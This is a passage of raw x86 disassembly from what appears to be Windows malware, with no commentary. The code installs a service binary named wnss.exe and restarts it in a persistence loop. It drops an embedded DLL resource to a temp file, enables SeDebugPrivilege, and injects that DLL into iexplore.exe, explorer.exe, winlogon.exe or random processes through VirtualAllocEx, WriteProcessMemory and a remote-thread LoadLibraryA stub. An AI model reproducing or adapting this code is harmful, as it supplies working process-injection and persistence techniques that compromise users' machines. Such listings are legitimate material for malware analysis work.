					; sub_447EA9+18o
		push	offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
		call	sub_407320
		pop	ecx
		push	offset loc_405A2F
		push	off_412958
		call	dword_411E70
		mov	dword_412954, eax
		cmp	dword_412954, 0
		jz	loc_405B7A
		push	1
		push	offset dword_411044
		call	dword_411D04
		push	1Ch
		push	0
		push	offset dword_412938
		call	sub_407690
		add	esp, 0Ch
		mov	dword_412938, 110h
		mov	dword_41293C, 2
		and	dword_412940, 0
		mov	dword_412950, 9C4h
		push	offset aSetservicestat ; "SetServiceStatus(): start pending\n"
		call	sub_407320
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		mov	dword_41293C, 4
		push	offset aSetservicest_0 ; "SetServiceStatus(): running\n"
		call	sub_407320
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		call	sub_40592F
; ---------------------------------------------------------------------------
		mov	dword_41293C, 1
		push	offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
		call	sub_407320
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C
		jmp	short locret_405B85
; ---------------------------------------------------------------------------


loc_405B7A:				; CODE XREF: DMN0:00405AC2j
		push	offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
		call	sub_407320
		pop	ecx

locret_405B85:				; CODE XREF: DMN0:00405B78j
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_405B88	proc near		; CODE XREF: DMN0:00405BCEp
					; sub_4067B0+532p
		push	ebx
		call	sub_40410E
		test	eax, eax
		jz	short loc_405B96
		xor	eax, eax
		jmp	short loc_405BCC
; ---------------------------------------------------------------------------


loc_405B96:				; CODE XREF: sub_405B88+8j
		mov	eax, off_412958
		mov	dword_41295C, eax
		mov	dword_412960, offset loc_405A9A
		and	dword_412964, 0
		and	dword_412968, 0
		push	offset dword_41295C
		call	dword_411E74
		mov	ebx, eax
		call	sub_404162
		mov	eax, ebx


loc_405BCC:				; CODE XREF: sub_405B88+Cj
		pop	ebx
		retn
sub_405B88	endp

; ---------------------------------------------------------------------------
		call	sub_405B88
		call	sub_407A60
		retn
; ---------------------------------------------------------------------------
		call	sub_404F15
		mov	dword_411040, eax
		call	sub_407A60
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405BE9	proc near		; CODE XREF: sub_405CA2+64p
					; sub_4067B0+1F7p

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		push	offset asc_40EDE8 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407730
		pop	ecx
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset asc_40E5AE ; "\"	"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_405C59
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407750
		pop	ecx
		pop	ecx


loc_405C59:				; CODE XREF: sub_405BE9+5Dj
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10
		test	eax, eax
		jz	short loc_405C9E
		push	[ebp+var_850]
		call	dword_411CF8
		push	[ebp+var_854]
		call	dword_411CF8
		xor	eax, eax
		inc	eax


loc_405C9E:				; CODE XREF: sub_405BE9+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_405BE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_405CA2	proc near		; DATA XREF: sub_40592F+81o
					; sub_447C50+81o
		push	ebx
		push	esi
		push	offset aServicefixerth ; "ServiceFixerThread started.\n"
		call	nullsub_2
		pop	ecx


loc_405CAF:				; CODE XREF: sub_405CA2:loc_405D37j
		xor	ebx, ebx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe"
		call	dword_411D4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405D2C
		call	sub_404D77
		test	eax, eax
		jz	short loc_405CEB
		call	sub_405170
		test	eax, eax
		jnz	short loc_405CDA
		call	sub_405246


loc_405CDA:				; CODE XREF: sub_405CA2+31j
		call	sub_404EC7
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405CF8
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_405CF8
; ---------------------------------------------------------------------------


loc_405CEB:				; CODE XREF: sub_405CA2+28j
		call	sub_404FE9
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405CF8
		xor	ebx, ebx
		inc	ebx


loc_405CF8:				; CODE XREF: sub_405CA2+42j
					; sub_405CA2+47j ...
		test	ebx, ebx
		jz	short loc_405D1F
		call	sub_404162
		push	offset asc_40E58E ; "**"
		call	sub_405BE9
		pop	ecx
		test	eax, eax
		jz	short loc_405D18
		push	0
		call	sub_407AA0
		pop	ecx


loc_405D18:				; CODE XREF: sub_405CA2+6Cj
		call	sub_40410E
		jmp	short loc_405D37
; ---------------------------------------------------------------------------


loc_405D1F:				; CODE XREF: sub_405CA2+58j
		push	1F4h
		call	dword_411D00
		jmp	short loc_405D37
; ---------------------------------------------------------------------------


loc_405D2C:				; CODE XREF: sub_405CA2+1Fj
		push	2710h
		call	dword_411D00


loc_405D37:				; CODE XREF: sub_405CA2+7Bj
					; sub_405CA2+88j
		jmp	loc_405CAF
sub_405CA2	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405D3F	proc near		; DATA XREF: sub_405DB5+76o
					; DMN1:0044814Co

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, eax
		push	dword_41296C
		call	dword_411D50


loc_405D56:				; CODE XREF: sub_405D3F+4Bj
		mov	[ebp+var_1], 0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	esi
		call	sub_4016DC
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_405D8C
		cmp	[ebp+var_1], 2Ah
		jnz	short loc_405D8C
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	esi
		call	sub_401787
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_405D8C
		jmp	short loc_405D56
; ---------------------------------------------------------------------------


loc_405D8C:				; CODE XREF: sub_405D3F+2Ej
					; sub_405D3F+34j ...
		push	esi
		call	sub_4014C2
		pop	ecx
		push	offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
		call	nullsub_2
		pop	ecx
		push	dword_41296C
		call	dword_411D44
		call	sub_407A60
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405D3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DB5	proc near		; DATA XREF: sub_4064E1+11o
					; sub_448802+11o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	sub_401359
		mov	dword_41104C, eax
		push	offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
		call	nullsub_2
		pop	ecx
		push	0BB8h
		push	100007Fh
		push	dword_41104C
		call	sub_4015B7
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405E55
		push	offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
		call	nullsub_2
		pop	ecx
		push	dword_41104C
		call	sub_401607
		pop	ecx
		test	eax, eax
		jz	short loc_405E55
		push	offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
		call	nullsub_2
		pop	ecx
		push	dword_41104C
		call	sub_401621
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_405E55
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		push	offset sub_405D3F
		call	sub_4079D0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		push	eax
		call	dword_411CF8
		push	dword_41104C
		call	sub_4014C2
		pop	ecx
		and	dword_41104C, 0


loc_405E55:				; CODE XREF: sub_405DB5+35j
					; sub_405DB5+50j ...
		cmp	dword_41104C, 0
		jz	short loc_405E6A
		push	dword_41104C
		call	sub_4014C2
		pop	ecx


loc_405E6A:				; CODE XREF: sub_405DB5+A7j
		push	offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
		call	nullsub_2
		pop	ecx
		call	sub_407A60
		mov	esp, ebp
		pop	ebp
		retn
sub_405DB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_405E7E	proc near		; CODE XREF: sub_40643C+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_405E90
; ---------------------------------------------------------------------------


loc_405E88:				; CODE XREF: sub_405E7E+14j
		call	dword_411CC4
		mov	esi, eax


loc_405E90:				; CODE XREF: sub_405E7E+8j
		test	esi, esi
		jz	short loc_405E88
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_405E7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405EB2	proc near		; CODE XREF: sub_405FBD+9Ep
					; sub_405FBD+109p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_411054, 0
		jz	short loc_405EDA
		push	dword_411054
		call	dword_411CF8
		and	dword_411054, 0


loc_405EDA:				; CODE XREF: sub_405EB2+13j
		push	0Ah
		push	offset a8001	; "#8001"
		push	0
		call	dword_411D54
		mov	esi, eax
		test	eax, eax
		jz	loc_405FB6
		push	esi
		push	0
		call	dword_411D58
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	offset aResourceHereSi ; "resource here, size: %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	esi
		push	0
		call	dword_411D5C
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_405FB6
		push	[ebp+var_8]
		call	dword_411D60
		mov	[ebp+var_C], eax
		test	eax, eax
		jz	loc_405FB6
		push	80h
		push	ebx
		call	dword_411D28
		push	offset aWb	; "wb+"
		push	ebx
		call	sub_4073C0
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_405F66
		push	ebx
		push	offset aFileSNotCreate ; "file <%s> NOT	created\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_405FB6
; ---------------------------------------------------------------------------


loc_405F66:				; CODE XREF: sub_405EB2+A1j
		push	ebx
		push	offset aFileSCreated ; "file <%s> created\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		call	sub_407820
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	edi
		call	sub_407620
		pop	ecx
		push	[ebp+var_10]
		push	ebx
		push	offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
		call	nullsub_2
		add	esp, 0Ch
		push	7
		push	ebx
		call	dword_411D28
		cmp	[ebp+var_10], 1
		jz	short loc_405FB3
		xor	eax, eax
		jmp	short loc_405FB6
; ---------------------------------------------------------------------------


loc_405FB3:				; CODE XREF: sub_405EB2+FBj
		xor	eax, eax
		inc	eax


loc_405FB6:				; CODE XREF: sub_405EB2+3Bj
					; sub_405EB2+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405EB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FBD	proc near		; CODE XREF: sub_406544:loc_406610p

var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_4077F0
		cmp	dword_411050, 0
		jz	short loc_406013
		push	offset aR	; "r"
		push	offset dword_412970
		call	sub_4073C0
		pop	ecx
		pop	ecx
		mov	[ebp+var_1004],	eax
		test	eax, eax
		jz	short loc_406013
		push	offset dword_412970
		push	offset aOldDllS	; "old DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	[ebp+var_1004]
		call	sub_407620
		pop	ecx
		xor	eax, eax
		inc	eax
		jmp	loc_4060FD
; ---------------------------------------------------------------------------


loc_406013:				; CODE XREF: sub_405FBD+14j
					; sub_405FBD+2Fj
		push	offset dword_412970
		push	0FFFh
		call	dword_411D1C
		push	offset aWnss_	; "wnss_"
		push	offset dword_412970
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset a000_tmp	; "000.tmp"
		push	offset dword_412970
		call	sub_407750
		pop	ecx
		pop	ecx
		push	offset dword_412970
		push	offset aCheckingDllS ; "checking DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_405EB2
		pop	ecx
		test	eax, eax
		jz	short loc_406085
		push	offset dword_412970
		push	offset aDllFoundS ; " DLL found: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_4060FD
; ---------------------------------------------------------------------------


loc_406085:				; CODE XREF: sub_405FBD+A6j
		lea	eax, [ebp+var_1000]
		push	eax
		push	0FFFh
		call	dword_411D1C
		push	offset dword_412970
		push	0
		push	offset aWnss_	; "wnss_"
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D20
		push	offset dword_412970
		push	offset aTryingDllS ; "trying DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_405EB2
		pop	ecx
		test	eax, eax
		jz	short loc_4060F0
		push	offset dword_412970
		push	offset aDllOkS	; "DLL ok: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_4060FD
; ---------------------------------------------------------------------------


loc_4060F0:				; CODE XREF: sub_405FBD+111j
		push	offset aDllNotExtracte ; "DLL not extracted.\n"
		call	nullsub_2
		pop	ecx
		xor	eax, eax


loc_4060FD:				; CODE XREF: sub_405FBD+51j
					; sub_405FBD+C6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_405FBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406101	proc near		; CODE XREF: sub_4062A5+6p
					; sub_40636D+12p ...

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		call	dword_411E78
		test	eax, eax
		jz	short loc_406177
		call	dword_411D64
		lea	edx, [ebp+var_14]
		push	edx
		push	28h
		push	eax
		call	dword_411E7C
		test	eax, eax
		jz	short loc_406177
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+var_18]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], 2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	[ebp+var_14]
		call	dword_411E80
		call	dword_411CE8
		test	eax, eax
		jz	short loc_406174
		xor	eax, eax
		jmp	short loc_406177
; ---------------------------------------------------------------------------


loc_406174:				; CODE XREF: sub_406101+6Dj
		xor	eax, eax
		inc	eax


loc_406177:				; CODE XREF: sub_406101+19j
					; sub_406101+30j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_406101	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40617B	proc near		; CODE XREF: sub_4062A5+34p

var_1008	= byte ptr -1008h
var_1004	= byte ptr -1004h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_4077F0
		push	ebx
		push	esi
		push	edi
		push	40h
		push	1000h
		push	1000h
		push	0
		push	[ebp+arg_0]
		call	dword_411D68
		mov	esi, eax
		test	eax, eax
		jz	loc_40629E
		push	offset aVirtualallocex ; "VirtualAllocEx() ok\n"
		call	nullsub_2
		pop	ecx
		lea	ebx, [ebp+var_1000]
		mov	byte ptr [ebx],	68h
		inc	ebx
		mov	eax, esi
		add	eax, 50h
		mov	[ebx], eax
		add	ebx, 4
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 40h
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	50h
		inc	ebx
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 44h
		mov	[ebx], eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_411D6C
		mov	edi, eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 40h
		push	offset aLoadlibrarya ; "LoadLibraryA"
		push	edi
		call	dword_411D70
		mov	[ebx], eax
		add	ebx, 4
		push	offset aExitthread ; "ExitThread"
		push	edi
		call	dword_411D70
		mov	[ebx], eax
		add	ebx, 4
		push	offset aGetlasterror ; "GetLastError"
		push	edi
		call	dword_411D70
		mov	[ebx], eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 50h
		push	[ebp+arg_4]
		push	ebx
		call	sub_407730
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_411D74
		test	eax, eax
		jz	short loc_40629E
		push	offset aWriteprocessme ; "WriteProcessMemory() ok\n"
		call	nullsub_2
		pop	ecx
		push	[ebp+arg_4]
		push	offset aS	; "<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		push	0
		push	esi
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_411D78


loc_40629E:				; CODE XREF: sub_40617B+2Bj
					; sub_40617B+EEj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40617B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062A5	proc near		; CODE XREF: sub_40636D+6Fp
					; sub_40643C+5Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		call	sub_406101
		push	[ebp+arg_0]
		push	0
		push	1F0FFFh
		call	dword_411D7C
		mov	ebx, eax
		push	offset aProcessOpened_ ; "process opened.\n"
		call	nullsub_2
		pop	ecx
		test	ebx, ebx
		jz	loc_406365
		push	[ebp+arg_4]
		push	ebx
		call	sub_40617B
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_40635E
		push	esi
		push	offset aThreadInjected ; "thread injected (%i).\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_411D80
		push	[ebp+var_4]
		push	offset aThreadComplete ; "thread complete (%i).\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_411CF8
		push	ebx
		call	dword_411CF8
		cmp	[ebp+var_4], 20h
		jnb	short loc_40632E
		xor	eax, eax
		jmp	short loc_406367
; ---------------------------------------------------------------------------


loc_40632E:				; CODE XREF: sub_4062A5+83j
		push	[ebp+arg_4]
		push	offset aDllInjected ; "DLL injected!\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		cmp	dword_411054, 0
		jz	short loc_406359
		push	dword_411054
		call	dword_411CF8
		and	dword_411054, 0


loc_406359:				; CODE XREF: sub_4062A5+9Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_406367
; ---------------------------------------------------------------------------


loc_40635E:				; CODE XREF: sub_4062A5+3Fj
		push	ebx
		call	dword_411CF8


loc_406365:				; CODE XREF: sub_4062A5+2Aj
		xor	eax, eax


loc_406367:				; CODE XREF: sub_4062A5+87j
					; sub_4062A5+B7j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4062A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636D	proc near		; CODE XREF: sub_406544+E6p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		call	sub_406101
		push	0
		push	2
		call	sub_406D5C
		mov	edi, eax
		test	eax, eax
		jz	loc_406435
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406D62


loc_4063AE:				; CODE XREF: sub_40636D+BDj
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_411D38
		test	eax, eax
		jnz	short loc_40641B
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithS ; "trying <%s> with <%s>\n"
		call	nullsub_2
		add	esp, 0Ch
		push	esi
		push	[ebp+var_120]
		call	sub_4062A5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406406
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aS	; "<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_411CF8
		xor	eax, eax
		inc	eax
		jmp	short loc_406435
; ---------------------------------------------------------------------------


loc_406406:				; CODE XREF: sub_40636D+78j
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithSFa ; "trying <%s> with <%s>	failed\n"
		call	nullsub_2
		add	esp, 0Ch


loc_40641B:				; CODE XREF: sub_40636D+51j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406D68
		test	eax, eax
		jnz	short loc_4063AE
		push	edi
		call	dword_411CF8
		xor	eax, eax


loc_406435:				; CODE XREF: sub_40636D+24j
					; sub_40636D+97j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40636D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40643C	proc near		; CODE XREF: sub_406544+FBp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	offset dword_411058
		call	sub_405E7E
		pop	ecx
		mov	ecx, 100h
		cdq
		idiv	ecx
		lea	esi, [edx+1]
		call	sub_406101
		jmp	short loc_4064D4
; ---------------------------------------------------------------------------


loc_406468:				; CODE XREF: sub_40643C+9Aj
		push	0
		push	2
		call	sub_406D5C
		mov	edi, eax
		test	eax, eax
		jz	short loc_4064DA
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406D62


loc_40648E:				; CODE XREF: sub_40643C+8Fj
		dec	esi
		test	esi, esi
		jnz	short loc_4064BC
		push	ebx
		push	[ebp+var_120]
		call	sub_4062A5
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4064B1
		push	edi
		call	dword_411CF8
		xor	eax, eax
		inc	eax
		jmp	short loc_4064DA
; ---------------------------------------------------------------------------


loc_4064B1:				; CODE XREF: sub_40643C+67j
		push	edi
		call	dword_411CF8
		xor	eax, eax
		jmp	short loc_4064DA
; ---------------------------------------------------------------------------


loc_4064BC:				; CODE XREF: sub_40643C+55j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406D68
		test	eax, eax
		jnz	short loc_40648E
		push	edi
		call	dword_411CF8


loc_4064D4:				; CODE XREF: sub_40643C+2Aj
		test	esi, esi
		jnz	short loc_406468
		xor	eax, eax


loc_4064DA:				; CODE XREF: sub_40643C+39j
					; sub_40643C+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40643C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4064E1	proc near		; CODE XREF: sub_406544+45p
					; sub_406544+115p
		push	ebx
		push	dword_41296C
		call	dword_411D50
		push	0
		push	0
		push	offset sub_405DB5
		call	sub_4079D0
		add	esp, 0Ch
		mov	ebx, eax
		push	2710h
		mov	eax, ebx
		push	eax
		call	dword_411D34
		test	eax, eax
		jz	short loc_406536
		push	dword_41104C
		call	sub_4014C2
		pop	ecx
		mov	dword_41104C, 1
		mov	eax, ebx
		push	eax
		call	dword_411CF8
		xor	eax, eax
		jmp	short loc_406542
; ---------------------------------------------------------------------------


loc_406536:				; CODE XREF: sub_4064E1+30j
		mov	eax, ebx
		push	eax
		call	dword_411CF8
		xor	eax, eax
		inc	eax


loc_406542:				; CODE XREF: sub_4064E1+53j
		pop	ebx
		retn
sub_4064E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406544	proc near		; DATA XREF: sub_406736+18o
					; DMN1:00448A6Fo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_4036F6
		test	eax, eax
		jnz	loc_40672A
		call	sub_403658
		test	eax, eax
		jnz	loc_40672A
		call	sub_406101
		push	dword_41296C
		call	dword_411D50
		push	3E8h
		push	dword_41296C
		call	dword_411D34
		call	sub_4064E1
		test	eax, eax
		jz	short loc_4065C2
		push	3E8h
		call	dword_411D00
		push	offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies>	e"...
		call	nullsub_2
		pop	ecx
		push	0FFFFFFFFh
		push	dword_41296C
		call	dword_411D34
		push	dword_41296C
		call	dword_411D50


loc_4065C2:				; CODE XREF: sub_406544+4Cj
		and	[ebp+var_C], 0
		mov	[ebp+var_8], 4
		mov	esi, [ebp+var_C]


loc_4065D0:				; CODE XREF: sub_406544+1BAj
		push	dword_41296C
		call	dword_411D50
		cmp	esi, 2
		ja	short loc_40660C
		test	esi, esi
		jz	short loc_4065F1
		cmp	esi, 1
		jz	short loc_4065FA
		cmp	esi, 2
		jz	short loc_406603
		jmp	short loc_406610
; ---------------------------------------------------------------------------


loc_4065F1:				; CODE XREF: sub_406544+9Fj
		mov	[ebp+var_4], offset aIexplore_exe ; "iexplore.exe"
		jmp	short loc_406610
; ---------------------------------------------------------------------------


loc_4065FA:				; CODE XREF: sub_406544+A4j
		mov	[ebp+var_4], offset aExplorer_exe ; "explorer.exe"
		jmp	short loc_406610
; ---------------------------------------------------------------------------


loc_406603:				; CODE XREF: sub_406544+A9j
		mov	[ebp+var_4], offset aWinlogon_exe ; "winlogon.exe"
		jmp	short loc_406610
; ---------------------------------------------------------------------------


loc_40660C:				; CODE XREF: sub_406544+9Bj
		and	[ebp+var_4], 0


loc_406610:				; CODE XREF: sub_406544+ABj
					; sub_406544+B4j ...
		call	sub_405FBD
		test	eax, eax
		jz	loc_406704
		cmp	esi, 2
		ja	short loc_406635
		push	offset dword_412970
		push	[ebp+var_4]
		call	sub_40636D
		pop	ecx
		pop	ecx
		mov	ebx, eax
		jmp	short loc_406650
; ---------------------------------------------------------------------------


loc_406635:				; CODE XREF: sub_406544+DCj
		mov	edi, 64h


loc_40663A:				; CODE XREF: sub_406544+10Aj
		push	offset dword_412970
		call	sub_40643C
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_406650
		dec	edi
		test	edi, edi
		jg	short loc_40663A


loc_406650:				; CODE XREF: sub_406544+EFj
					; sub_406544+105j
		inc	esi
		test	ebx, ebx
		jz	loc_4066D7
		call	sub_4064E1
		test	eax, eax
		jz	short loc_4066D7
		push	3E8h
		call	dword_411D00
		push	offset aWaitingForDllD ; "waiting for <DLL dies> event...\n"
		call	nullsub_2
		pop	ecx
		jmp	short loc_406687
; ---------------------------------------------------------------------------


loc_40667A:				; CODE XREF: sub_406544+159j
		call	sub_403658
		test	eax, eax
		jnz	loc_40672A


loc_406687:				; CODE XREF: sub_406544+134j
		push	2BCh
		push	dword_41296C
		call	dword_411D34
		cmp	eax, 102h
		jz	short loc_40667A
		push	dword_41296C
		call	dword_411D50
		mov	esi, [ebp+var_C]
		call	sub_403658
		test	eax, eax
		jz	short loc_4066CC
		push	offset aDying	; "dying\n"
		call	nullsub_2
		pop	ecx
		push	1
		call	sub_407AA0
		pop	ecx
		jmp	short loc_40672A
; ---------------------------------------------------------------------------


loc_4066CC:				; CODE XREF: sub_406544+171j
